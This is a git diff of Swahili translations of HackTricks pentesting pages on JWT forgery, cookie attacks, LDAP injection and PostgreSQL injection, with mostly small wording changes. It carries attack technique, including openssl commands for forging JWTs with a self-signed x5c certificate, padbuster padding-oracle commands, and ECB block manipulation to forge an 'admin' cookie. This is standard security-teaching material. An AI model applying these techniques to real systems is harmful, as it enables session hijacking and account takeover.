Ikiwa mshambuliaji **anaunda cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kipya kilichoundwa na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
Ikiwa mshambuliaji **anazalisha cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kilichozalishwa upya na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@ -246,9 +246,9 @@ However, imagine a situation where the maximun length of the ID is 4 (0001-9999)
**Cross-service Relay Attacks**
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya kutengeneza na kusimamia token zao. Matukio yameandikwa ambapo token, iliyotengenezwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kujaribu kupeleka token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya kutengeneza na kusimamia token zao. Matukio yameandikwa ambapo token, iliyotengenezwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kujaribu token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
* Tatizo muhimu linaweza kuashiriwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio makubwa inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la sheria lenye kivuli.
* Tatizo muhimu linaweza kuonyeshwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio mapana inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la sheria lenye kivuli.
**Expiry Check of Tokens**
@ -260,7 +260,7 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

View file

@ -21,22 +21,22 @@ Cookies zina sifa kadhaa ambazo zinadhibiti tabia yao katika kivinjari cha mtumi
### Expires and Max-Age
Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie ifutwe. **Chagua `Max-age` kwani inawakilisha mazoea ya kisasa zaidi.**
Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie itakapofutwa. **Chagua `Max-age` kwani inawakilisha mazoea ya kisasa zaidi.**
### Domain
Wenyeji wa kupokea cookie huainishwa na sifa ya `Domain`. Kwa kawaida, hii imewekwa kwa mwenyeji aliyeitoa cookie, bila kujumuisha subdomains zake. Hata hivyo, wakati sifa ya `Domain` imewekwa wazi, inajumuisha subdomains pia. Hii inafanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lenye ukomo, muhimu kwa hali ambapo kushiriki cookie kati ya subdomains kunahitajika. Kwa mfano, kuweka `Domain=mozilla.org` kunafanya cookies zipatikane kwenye subdomains zake kama `developer.mozilla.org`.
Wenyeji wa kupokea cookie huainishwa na sifa ya `Domain`. Kwa kawaida, hii imewekwa kwa mwenyeji aliyeitoa cookie, bila kujumuisha subdomains zake. Hata hivyo, wakati sifa ya `Domain` imewekwa wazi, inajumuisha subdomains pia. Hii inafanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lenye ukomo mdogo, muhimu kwa hali ambapo kushiriki cookie kati ya subdomains kunahitajika. Kwa mfano, kuweka `Domain=mozilla.org` kunafanya cookies zipatikane kwenye subdomains zake kama `developer.mozilla.org`.
### Path
Njia maalum ya URL ambayo lazima iwepo katika URL iliyohitajika ili kichwa cha `Cookie` kitumwe inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia herufi `/` kama separator ya directory, ikiruhusu mechi katika subdirectories pia.
Njia maalum ya URL ambayo lazima iwepo katika URL iliyohitajika ili kichwa cha `Cookie` kitumwe inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia herufi `/` kama separator ya saraka, ikiruhusu mechi katika saraka ndogo pia.
### Ordering Rules
Wakati cookies mbili zina jina sawa, ile iliyochaguliwa kutumwa inategemea:
* Cookie inayolingana na njia ndefu zaidi katika URL iliyohitajika.
* Cookie iliyowekwa hivi karibuni ikiwa njia hizo ni sawa.
* Cookie iliyowekwa hivi karibuni zaidi ikiwa njia hizo ni sawa.
### SameSite
@ -58,10 +58,10 @@ Kumbuka, wakati wa kuunda cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikis
| Image | \<img src="..."> | NetSet\*, None |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
Cookie yenye sifa ya _**SameSite**_ itapunguza **CSRF attacks** ambapo kikao kilichoingia kinahitajika.
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
**\*Kumbuka kwamba kuanzia Chrome80 (feb/2019) tabia ya kawaida ya cookie bila sifa ya cookie samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Kumbuka kwamba kwa muda wa muda, baada ya kutumia mabadiliko haya, **cookies bila sera ya SameSite** **katika Chrome zitachukuliwa kama None** wakati wa **dakika 2 za kwanza na kisha kama Lax kwa ombi la POST la juu la tovuti.**
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
## Cookies Flags
@ -73,7 +73,7 @@ Hii inazuia **mteja** kufikia cookie (Kupitia **Javascript** kwa mfano: `documen
* Ikiwa ukurasa unatumia **cookies kama jibu** la maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Hii inaweza kupitishwa kwa maombi ya **TRACE** **HTTP** kwani jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itarudisha cookies zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
* Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
* Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
* Njia nyingine ni kutumia udhaifu wa zero/day wa vivinjari.
* Inawezekana **kufuta cookies za HttpOnly** kwa kufanya shambulio la Cookie Jar overflow:
@ -96,19 +96,19 @@ Kwa cookies zilizo na awali `__Host-`, masharti kadhaa yanapaswa kutimizwa:
* Lazima ziwe zimewekwa na bendera ya `secure`.
* Lazima zitoke kwenye ukurasa uliohakikishwa na HTTPS.
* Zinakatazwa kuainisha domain, kuzuia usafirishaji wao kwa subdomains.
* Njia ya cookies hizi lazima iwekwe kwa `/`.
* Njia ya cookies hizi lazima iwekwe kwenye `/`.
Ni muhimu kutambua kwamba cookies zilizo na awali `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia katika kutenga cookies za programu. Hivyo, kutumia awali ya `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa.
### Overwriting cookies
Hivyo, moja ya ulinzi wa cookies zilizo na awali ya `__Host-` ni kuzuia zifutwe kutoka subdomains. Kuzuia kwa mfano [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) inawasilishwa kwamba ilikuwa inawezekana kuweka cookies zilizo na awali ya \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwishoni...:
Hivyo, moja ya ulinzi wa cookies zilizo na awali `__Host-` ni kuzuia ziweze kufutwa kutoka subdomains. Kuzuia kwa mfano [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) inawasilishwa kwamba ilikuwa inawezekana kuweka cookies zilizo na awali \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwishoni...:
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeondolewa na herufi za chini, kuruhusu kufuta `__HOST-` cookies:
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za underscore**, kuruhusu kufuta cookies za `__HOST-`:
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
@ -116,15 +116,15 @@ Ikiwa cookie maalum ina data nyeti angalia hiyo (hasa ikiwa unacheza CTF), kwani
### Decoding and Manipulating Cookies
Data nyeti iliyojumuishwa katika cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuweka data zao zilizobadilishwa tena kwenye cookie.
Data nyeti iliyowekwa ndani ya cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie.
### Session Hijacking
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhinishwa kwa akaunti yao ndani ya programu. Kwa kutumia cookie iliyop stolen, mshambuliaji anaweza kujifanya mtumiaji halali.
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhinishwa kwa akaunti yao ndani ya programu. Kwa kutumia cookie iliyibwa, mshambuliaji anaweza kujifanya kuwa mtumiaji halali.
### Session Fixation
Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, mwenye cookie ya awali, anaweza kujifanya mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji.
Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, akiwa na cookie ya awali, anaweza kujifanya kuwa mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
@ -134,7 +134,7 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
### Session Donation
Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kwamba amejiingia kwenye akaunti yake mwenyewe, atafanya vitendo bila kukusudia katika muktadha wa akaunti ya mshambuliaji.
Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kuwa amejiandikisha kwenye akaunti yake mwenyewe, atafanya vitendo bila kukusudia katika muktadha wa akaunti ya mshambuliaji.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
@ -154,13 +154,13 @@ Shambulio hili linamfanya mtumiaji aliyeingia kutekeleza vitendo visivyotakikana
### Empty Cookies
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuundwa kwa cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuunda cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Matokeo katika kichwa cha cookie kilichotumwa ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu udanganyifu wa cookies ikiwa cookie yenye jina tupu imewekwa, ikidhibiti cookies nyingine kwa kuweka cookie hiyo tupu kuwa thamani maalum:
Matokeo katika kichwa cha cookie kilichotumwa ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu udanganyifu wa cookies ikiwa cookie yenye jina tupu imewekwa, ikidhibiti cookies nyingine kwa kuweka cookie hiyo tupu kuwa na thamani maalum:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -180,19 +180,19 @@ This results in `document.cookie` outputting an empty string, indicating permane
#### Cookie Smuggling Due to Parsing Issues
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Seva nyingi za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya nyuzi za cookie kutokana na msaada wa zamani wa RFC2965. Wanaweza kusoma thamani ya cookie iliyo na nukuu mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kawaida zinapaswa kutenganisha jozi za funguo-thamani:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Seva nyingi za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia nyuzi za cookie vibaya kutokana na msaada wa zamani wa RFC2965. Wanaweza kusoma thamani ya cookie iliyo na nukuu mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kawaida zinapaswa kutenganisha jozi za funguo-thamani:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Uthibitisho wa Uvunjaji wa Keki
#### Uthibitisho wa Uvunjifu wa Keki
(Tafadhali angalia maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Ufafanuzi usio sahihi wa keki na seva, hasa Undertow, Zope, na zile zinazotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` za Python, unatoa fursa za mashambulizi ya kuingiza keki. Seva hizi zinashindwa kuweka mipaka sahihi ya kuanza kwa keki mpya, ikiruhusu washambuliaji kuiga keki:
* Undertow inatarajia keki mpya mara moja baada ya thamani iliyonukuliwa bila alama ya semikolon.
* Zope inatafuta koma ili kuanza kufafanua keki inayofuata.
* Zope inatafuta koma kuanza kufafanua keki inayofuata.
* Madarasa ya keki ya Python yanaanza kufafanua kwenye herufi ya nafasi.
Uthibitisho huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSRF wa keki, kwani inaruhusu washambuliaji kuingiza keki za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na usimamizi wa Python wa majina ya keki yanayojirudia, ambapo tukio la mwisho linabadilisha yale ya awali. Pia linaibua wasiwasi kwa keki za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati keki zinapopita kwa seva za nyuma zinazoweza kuathiriwa na kuiga.
Uthibitisho huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSRF wa keki, kwani inaruhusu washambuliaji kuingiza keki za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na usimamizi wa Python wa majina ya keki yanayojirudia, ambapo tukio la mwisho linabadilisha yale ya awali. Pia linaibua wasiwasi kwa keki za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati keki zinapopelekwa kwa seva za nyuma zinazoweza kudanganywa.
### Ukaguzi wa Keki Zenye Uthibitisho wa Ziada
@ -208,10 +208,10 @@ Uthibitisho huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa
#### **Mashambulizi ya Keki ya Juu**
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii ina maana kwamba keki hiyo inahusiana na uwanja fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii huenda ikamaanisha kuwa keki hiyo inahusiana na uwanja fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
* Jaribu kuunda akaunti nyingi **zikiwa** na majina ya watumiaji yanayofanana sana na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
* Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **bit** ya keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
* Jaribu kuunda akaunti nyingi za **jina la mtumiaji** zikiwa na ufanano mkubwa na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
* Jaribu **kuvunjia jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjia** kila **bit** ya keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
* Jaribu **Padding** **Oracle** (unaweza kufichua maudhui ya keki). Tumia **padbuster**.
**Padding Oracle - Mifano ya Padbuster**
@ -224,7 +224,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya makosa (ile ambayo si halali).
Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya kosa (ile ambayo si halali).
Kisha itaanza kufungua siri ya cookie (inaweza kuchukua dakika kadhaa)
@ -236,7 +236,7 @@ Hii utekelezaji itakupa cookie iliyosimbwa na kuandikwa kwa usahihi na mfuatano
**CBC-MAC**
Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoundwa kwa kutumia CBC na thamani hiyo hiyo. Kama inavyopendekezwa kutumia kama IV vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa na hatari.
Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoundwa kwa kutumia CBC na thamani hiyo hiyo. Kama inavyopendekezwa kutumia kama IV vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
**Shambulio**
@ -246,16 +246,16 @@ Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC
**ECB**
Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa na hatari.\
Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa hatarini.\
Wakati unapoingia, cookie unayopokea inapaswa kuwa kila wakati sawa.
**Jinsi ya kugundua na kushambulia:**
Unda watumiaji 2 wenye takwimu karibu sawa (jina la mtumiaji, nenosiri, barua pepe, nk.) na jaribu kugundua muundo wowote ndani ya cookie iliyotolewa.
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizosimbwa zinaweza kuonekana ikiwa jina la mtumiaji linasimbwa).
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limesimbwa).
Inapaswa kuwa na muundo (kwa ukubwa wa block iliyotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kusimbwa wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kisimbaji wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
## Marejeo

View file

@ -17,7 +17,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" a
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
@ -167,7 +167,7 @@ Unaweza kuzunguka juu ya herufi za ascii, nambari na alama:
#### **Gundua maeneo halali ya LDAP**
Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika **kuhifadhi taarifa.** Unaweza kujaribu **kuvunjavunja zote ili kupata taarifa hizo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika kuhifadhi **habari**. Unaweza kujaribu **kuvunjavunja zote ili kupata habari hiyo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
Ikiwa unavutiwa na **hacking career** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -240,7 +240,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png"
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -10,28 +10,28 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
***
**Ukuran huu unalenga kuelezea mbinu tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha mbinu ambazo unaweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**Ukurasa huu unalenga kuelezea hila tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha hila ambazo unaweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
